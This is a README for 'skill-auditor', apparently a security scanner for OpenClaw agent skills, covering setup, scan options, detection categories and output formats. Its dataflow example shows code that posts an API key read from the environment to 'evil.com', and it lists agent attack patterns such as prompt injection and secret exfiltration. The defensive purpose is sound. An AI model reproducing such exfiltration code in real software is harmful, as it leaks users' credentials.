# skill-auditor

Skill Auditor v2.1 Enhanced security scanner that analyzes skills and provides comprehensive threat detection with advanced analysis capabilities. After Installing Run the setup wizard to configure optional features: cd skills/skill-auditor node scripts/setup.js The wizard explains each feature, shows real test data, and lets you choose what to enable. Quick Start Scan a skill:

node skills/skill-auditor/scripts/scan-skill.js <skill-directory>

Audit all your installed skills:

node skills/skill-auditor/scripts/audit-installed.js

Setup Wizard (Recommended) Run the interactive setup to configure optional features: cd skills/skill-auditor node scripts/setup.js The wizard will: Detect your OS (Windows, macOS, Linux) Check Python availability (required for AST analysis) Offer to install tree-sitter for dataflow analysis Configure auto-scan on skill installation Save preferences to ~/.openclaw/skill-auditor.json Setup Commands node scripts/setup.js # Interactive setup wizard node scripts/setup.js --status # Show current configuration node scripts/setup.js --enable-ast # Just enable AST analysis Audit All Installed Skills Scan every skill in your OpenClaw installation at once: node scripts/audit-installed.js

Options:

node scripts/audit-installed.js --severity critical # Only critical issues node scripts/audit-installed.js --json # Save results to audit-results.json node scripts/audit-installed.js --verbose # Show top findings per skill

Output:

Color-coded risk levels (🚨 CRITICAL, ⚠️ HIGH, 📋 MEDIUM, ✅ CLEAN) Summary stats (total scanned, by risk level) Detailed list of high-risk skills with capabilities Cross-Platform Installation Core Scanner (No Dependencies) Works on all platforms with just Node.js (which OpenClaw already provides). AST Analysis (Optional) Requires Python 3.8+ and tree-sitter packages. PlatformPython InstallTree-sitter InstallWindowsPre-installed or winget install Python.Python.3pip install tree-sitter tree-sitter-pythonmacOSPre-installed or brew install python3pip3 install tree-sitter tree-sitter-pythonLinuxapt install python3-pippip3 install tree-sitter tree-sitter-python

Note: Tree-sitter has prebuilt wheels for all platforms — no C++ compiler needed!

Core Features (Always Available) Static Pattern Analysis — Regex-based detection of 40+ threat patterns Intent Matching — Contextual analysis against skill's stated purpose Accuracy Scoring — Rates how well behavior matches description (1-10) Risk Assessment — CLEAN / LOW / MEDIUM / HIGH / CRITICAL levels OpenClaw Specifics — Detects MEMORY.md, sessions tools, agent manipulation Remote Scanning — Works with GitHub URLs (via scan-url.js) Visual Reports — Human-readable threat summaries Advanced Features (Optional)

1. Python AST Dataflow Analysis Traces data from sources to sinks through code execution paths

npm install tree-sitter tree-sitter-python

node scripts/scan-skill.js --mode strict What it detects: Environment variables → Network requests File reads → HTTP posts Memory file access → External APIs Cross-function data flows

Example:
# File 1: utils.py

def get_secrets(): return os.environ.get('API_KEY')

# File 2: main.py

key = get_secrets() requests.post('evil.com', data=key) # ← Dataflow detected! 2. VirusTotal Binary Scanning Scans executable files against 70+ antivirus engines

export VIRUSTOTAL_API_KEY="your-key-here"

node scripts/scan-skill.js --use-virustotal Supported formats: .exe, .dll, .bin, .wasm, .jar, .apk, etc. Output includes: Malware detection status Engine consensus (e.g., "3/70 engines flagged") Direct VirusTotal report links SHA256 hashes for verification 3. LLM Semantic Analysis Uses AI to understand if detected behaviors match stated intent

# Requires SKILLBOSS_API_KEY for SkillBoss API Hub
export SKILLBOSS_API_KEY="your-key-here"

node scripts/scan-skill.js --use-llm How it works: Groups findings by category Asks LLM: "Does this behavior match the skill's description?" Adjusts severity based on semantic understanding Provides confidence ratings

Example:
Finding: "Accesses MEMORY.md"

Skill says: "Optimizes agent memory usage" LLM verdict: "LEGITIMATE — directly supports stated purpose"

Result: Severity downgraded, marked as expected

4. SARIF Output for CI/CD GitHub Code Scanning compatible format node scripts/scan-skill.js --format sarif --fail-on-findings GitHub integration:

# .github/workflows/skill-scan.yml

• name: Scan Skills

run: |
node skill-auditor/scripts/scan-skill.js ./skills/new-skill \

--format sarif --fail-on-findings > results.sarif

• name: Upload SARIF

uses: github/codeql-action/upload-sarif@v2
with:
sarif_file: results.sarif

5. Detection Modes Adjustable sensitivity levels --mode strict # All patterns, higher false positives --mode balanced # Default, optimized accuracy --mode permissive # Only critical patterns Usage Examples Basic Scanning

# Scan local skill

node scripts/scan-skill.js ../my-skill

# Scan with JSON output

node scripts/scan-skill.js ../my-skill --json report.json

# Format visual report

node scripts/format-report.js report.json Advanced Scanning

# Full analysis with all features

node scripts/scan-skill.js ../my-skill
--mode strict
--use-virustotal
--use-llm
--format sarif
--json full-report.sarif

# CI/CD integration

node scripts/scan-skill.js ../my-skill
--format sarif
--fail-on-findings
--mode balanced Remote Scanning

# Scan GitHub skill without cloning

node scripts/scan-url.js "https://github.com/user/skill" --json remote-report.json node scripts/format-report.js remote-report.json Installation Options Zero Dependencies (Recommended for CI)

# Works immediately — no installation needed
node skill-auditor/scripts/scan-skill.js <skill>

Optional Advanced Features cd skills/skill-auditor

# Install all optional features
npm install
# Or install selectively:
npm install tree-sitter tree-sitter-python  # AST analysis
npm install yara                            # YARA rules (future)
# VirusTotal requires API key only:
export VIRUSTOTAL_API_KEY="your-key"
# LLM analysis requires SkillBoss API Hub key:
export SKILLBOSS_API_KEY="your-key"

What Gets Detected Core Threat Categories Prompt Injection — AI instruction manipulation attempts Data Exfiltration — Unauthorized data transmission Sensitive File Access — MEMORY.md, credentials, SSH keys Shell Execution — Command injection, arbitrary code execution Path Traversal — Directory escape attacks Obfuscation — Hidden/encoded content Persistence — System modification for permanent access Privilege Escalation — Browser automation, device access OpenClaw-Specific Patterns Memory File Writes — Persistence via MEMORY.md, AGENTS.md Session Tool Abuse — Data exfiltration via sessions_send Gateway Control — config.patch, restart commands Node Device Access — camera_snap, screen_record, location_get Advanced Detection (with optional features) Python Dataflow — Variable tracking across functions/files Binary Malware — Known malicious executables via VirusTotal Semantic Intent — LLM-based behavior vs. description analysis Output Formats

1. JSON (Default) { "skill": { "name": "example", "description": "..." }, "riskLevel": "HIGH", "accuracyScore": { "score": 7, "reason": "..." }, "findings": [...], "summary": { "analyzersUsed": ["static", "ast-python", "llm-semantic"] } }
2. SARIF (GitHub Code Scanning) --format sarif Uploads to GitHub Security tab, integrates with pull request checks.
3. Visual Report node scripts/format-report.js report.json Human-readable summary with threat gauge and actionable findings. Configuration Environment Variables VIRUSTOTAL_API_KEY="vt-key" # VirusTotal integration SKILLBOSS_API_KEY="your-key" # LLM semantic analysis via SkillBoss API Hub DEBUG="1" # Verbose error output Command Line Options --json # JSON output file --format sarif # SARIF output for GitHub --mode # strict|balanced|permissive --use-virustotal # Enable binary scanning --use-llm # Enable semantic analysis --custom-rules # Additional YARA rules --fail-on-findings # Exit code 1 for HIGH/CRITICAL --help # Show all options Architecture Overview skill-auditor/ ├── scripts/ │ ├── scan-skill.js # Main scanner (v2.0) │ ├── scan-url.js # Remote GitHub scanning │ ├── format-report.js # Visual report formatter │ ├── analyzers/ # Pluggable analysis engines │ │ ├── static.js # Core regex patterns (zero-dep) │ │ ├── ast-python.js # Python dataflow analysis │ │ ├── virustotal.js # Binary malware scanning │ │ └── llm-semantic.js # AI-powered intent analysis │ └── utils/ │ └── sarif.js # GitHub Code Scanning output

├── rules/ │ └── default.yar # YARA format patterns ├── package.json # Optional dependencies └── references/ # Documentation (unchanged) Backward Compatibility v1.x commands work unchanged: node scan-skill.js # ✅ Works node scan-skill.js --json out.json # ✅ Works node format-report.js out.json # ✅ Works New v2.0 features are opt-in: node scan-skill.js --use-llm # ⚡ Enhanced node scan-skill.js --use-virustotal # ⚡ Enhanced Limitations Core Scanner Novel obfuscation — New encoding techniques not yet in patterns Binary analysis — Skips binary files unless VirusTotal enabled Sophisticated prompt injection — Advanced manipulation techniques may evade regex Optional Features Python AST — Limited to Python files, basic dataflow only VirusTotal — Rate limited (500 queries/day free tier) LLM Analysis — Requires internet connection and SKILLBOSS_API_KEY YARA Rules — Framework ready but custom rules not fully implemented Troubleshooting Common Issues "tree-sitter dependencies not available"

npm install tree-sitter tree-sitter-python

"VirusTotal API error: 403"

export VIRUSTOTAL_API_KEY="your-actual-key"

"LLM semantic analysis failed"

# Check SKILLBOSS_API_KEY is set:

echo $SKILLBOSS_API_KEY

export SKILLBOSS_API_KEY="your-key"

"SARIF output not generated"

# Ensure all dependencies installed:
cd skills/skill-auditor && npm install

Debug Mode DEBUG=1 node scripts/scan-skill.js Contributing Adding New Patterns Static patterns → Edit scripts/analyzers/static.js YARA rules → Add to rules/ directory Python dataflow → Extend scripts/analyzers/ast-python.js Testing New Features

# Test against multiple skills:

node scripts/scan-skill.js ../blogwatcher --use-llm --mode strict node scripts/scan-skill.js ../summarize --use-virustotal node scripts/scan-skill.js ../secure-browser-agent --format sarif Security Note This scanner is one layer of defense, not a guarantee. Always: Review code manually for novel attacks Re-scan after skill updates Use multiple security tools Trust but verify — especially for high-privilege skills For sensitive environments, enable all advanced features: node scripts/scan-skill.js
--mode strict
--use-virustotal
--use-llm
--fail-on-findings